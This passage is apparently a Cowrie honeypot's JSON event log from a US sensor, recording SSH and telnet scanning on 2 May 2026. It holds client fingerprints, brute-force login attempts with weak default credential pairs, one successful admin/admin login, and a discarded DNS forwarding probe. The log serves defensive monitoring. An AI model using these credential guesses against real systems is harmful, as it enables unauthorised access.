-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:08:45.984024Z","src_ip":"181.123.136.11","session":"d3bcfcdbdb72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"admin","message":"login attempt [centos/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:08:46.717394Z","src_ip":"181.123.136.11","session":"d3bcfcdbdb72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:08:47.917260Z","src_ip":"181.123.136.11","session":"d3bcfcdbdb72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":35038,"dst_ip":"10.17.0.5","dst_port":22,"session":"fcb4c95d7a8a","protocol":"ssh","message":"New connection: 193.32.162.145:35038 (10.17.0.5:22) [session: fcb4c95d7a8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:09:26.208742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:09:26.213340Z","src_ip":"193.32.162.145","session":"fcb4c95d7a8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:09:26.352011Z","src_ip":"193.32.162.145","session":"fcb4c95d7a8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"1234","message":"login attempt [solana/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:09:26.656465Z","src_ip":"193.32.162.145","session":"fcb4c95d7a8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:09:27.763066Z","src_ip":"193.32.162.145","session":"fcb4c95d7a8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":41088,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b2ae33c1406","protocol":"telnet","message":"New connection: 174.138.46.234:41088 (159.203.135.109:23) [session: 4b2ae33c1406]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:09:30.451590Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":41116,"dst_ip":"159.203.135.109","dst_port":23,"session":"afb385336008","protocol":"telnet","message":"New connection: 174.138.46.234:41116 (159.203.135.109:23) [session: afb385336008]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:09:30.541881Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":41184,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f22484f47c8","protocol":"telnet","message":"New connection: 174.138.46.234:41184 (159.203.135.109:23) [session: 8f22484f47c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:09:31.737460Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":40650,"dst_ip":"159.203.135.109","dst_port":23,"session":"82e1336bd40d","protocol":"telnet","message":"New connection: 174.138.46.234:40650 (159.203.135.109:23) [session: 82e1336bd40d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:09:31.777491Z"}
{"eventid":"cowrie.session.closed","duration":2.3443143367767334,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:09:34.121710Z","src_ip":"174.138.46.234","session":"82e1336bd40d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.96778678894043,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:09:38.705150Z","src_ip":"174.138.46.234","session":"8f22484f47c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.217.12.57","src_port":45750,"dst_ip":"10.17.0.5","dst_port":22,"session":"526aeb3757b3","protocol":"ssh","message":"New connection: 201.217.12.57:45750 (10.17.0.5:22) [session: 526aeb3757b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:09:56.734505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:09:56.739167Z","src_ip":"201.217.12.57","session":"526aeb3757b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:09:56.946464Z","src_ip":"201.217.12.57","session":"526aeb3757b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"qwerty","message":"login attempt [ftpuser/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:09:57.705160Z","src_ip":"201.217.12.57","session":"526aeb3757b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:09:58.889153Z","src_ip":"201.217.12.57","session":"526aeb3757b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.66777324676514,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:10:11.209541Z","src_ip":"174.138.46.234","session":"afb385336008","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":52668,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e1db2a0da69","protocol":"telnet","message":"New connection: 174.138.46.234:52668 (159.203.135.109:23) [session: 8e1db2a0da69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:10:14.898084Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":52962,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ab2d7e37cc6","protocol":"telnet","message":"New connection: 174.138.46.234:52962 (159.203.135.109:23) [session: 7ab2d7e37cc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:10:15.944182Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":52756,"dst_ip":"159.203.135.109","dst_port":23,"session":"d47f57d3bf71","protocol":"telnet","message":"New connection: 174.138.46.234:52756 (159.203.135.109:23) [session: d47f57d3bf71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:10:16.154067Z"}
{"eventid":"cowrie.session.closed","duration":5.5539610385894775,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:10:21.707901Z","src_ip":"174.138.46.234","session":"d47f57d3bf71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.823277950286865,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:10:21.767128Z","src_ip":"174.138.46.234","session":"7ab2d7e37cc6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.69640755653381,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:10:23.147894Z","src_ip":"174.138.46.234","session":"4b2ae33c1406","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":41298,"dst_ip":"159.203.135.109","dst_port":23,"session":"f487c95f9858","protocol":"telnet","message":"New connection: 103.249.87.183:41298 (159.203.135.109:23) [session: f487c95f9858]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:10:42.866412Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":59956,"dst_ip":"10.17.0.5","dst_port":22,"session":"71b4b47dde9e","protocol":"ssh","message":"New connection: 87.251.64.176:59956 (10.17.0.5:22) [session: 71b4b47dde9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:10:57.042057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:10:57.047013Z","src_ip":"87.251.64.176","session":"71b4b47dde9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:10:57.144398Z","src_ip":"87.251.64.176","session":"71b4b47dde9e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:10:57.436961Z","src_ip":"87.251.64.176","session":"71b4b47dde9e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:10:57.537492Z","session":"71b4b47dde9e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:10:57.636939Z","src_ip":"87.251.64.176","session":"71b4b47dde9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:10:57.737660Z","src_ip":"87.251.64.176","session":"71b4b47dde9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.478155851364136,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:11:01.376133Z","src_ip":"174.138.46.234","session":"8e1db2a0da69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.217.12.57","src_port":44162,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8e5cbdd528e","protocol":"ssh","message":"New connection: 201.217.12.57:44162 (10.17.0.5:22) [session: a8e5cbdd528e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:11:04.124574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:11:04.134886Z","src_ip":"201.217.12.57","session":"a8e5cbdd528e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:11:04.313432Z","src_ip":"201.217.12.57","session":"a8e5cbdd528e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"123123123","message":"login attempt [alex/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:11:05.062357Z","src_ip":"201.217.12.57","session":"a8e5cbdd528e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:11:06.244087Z","src_ip":"201.217.12.57","session":"a8e5cbdd528e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.34234070777893,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:11:13.208633Z","src_ip":"103.249.87.183","session":"f487c95f9858","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":43660,"dst_ip":"159.203.135.109","dst_port":23,"session":"90c259fd7023","protocol":"telnet","message":"New connection: 103.249.87.183:43660 (159.203.135.109:23) [session: 90c259fd7023]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:11:33.314858Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":53792,"dst_ip":"10.17.0.5","dst_port":22,"session":"db7fef524f4c","protocol":"ssh","message":"New connection: 193.32.162.145:53792 (10.17.0.5:22) [session: db7fef524f4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:11:36.418211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:11:36.422848Z","src_ip":"193.32.162.145","session":"db7fef524f4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:11:36.527805Z","src_ip":"193.32.162.145","session":"db7fef524f4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"Solana","message":"login attempt [solana/Solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:11:36.844459Z","src_ip":"193.32.162.145","session":"db7fef524f4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:11:37.994051Z","src_ip":"193.32.162.145","session":"db7fef524f4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":46954,"dst_ip":"159.203.135.109","dst_port":23,"session":"55ed5bcacd03","protocol":"telnet","message":"New connection: 103.249.87.183:46954 (159.203.135.109:23) [session: 55ed5bcacd03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:11:38.528465Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":56746,"dst_ip":"159.203.135.109","dst_port":23,"session":"1461f74b170e","protocol":"telnet","message":"New connection: 103.249.87.183:56746 (159.203.135.109:23) [session: 1461f74b170e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:11:51.896875Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":58546,"dst_ip":"159.203.135.109","dst_port":23,"session":"a83f7f65d778","protocol":"telnet","message":"New connection: 103.249.87.183:58546 (159.203.135.109:23) [session: a83f7f65d778]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:11:54.501003Z"}
{"eventid":"cowrie.session.closed","duration":31.190860271453857,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:12:04.505576Z","src_ip":"103.249.87.183","session":"90c259fd7023","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.610663890838623,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:12:09.139020Z","src_ip":"103.249.87.183","session":"55ed5bcacd03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.217.12.57","src_port":40998,"dst_ip":"10.17.0.5","dst_port":22,"session":"77299b077deb","protocol":"ssh","message":"New connection: 201.217.12.57:40998 (10.17.0.5:22) [session: 77299b077deb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:12:11.215234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:12:11.220480Z","src_ip":"201.217.12.57","session":"77299b077deb","protocol":"ssh"}
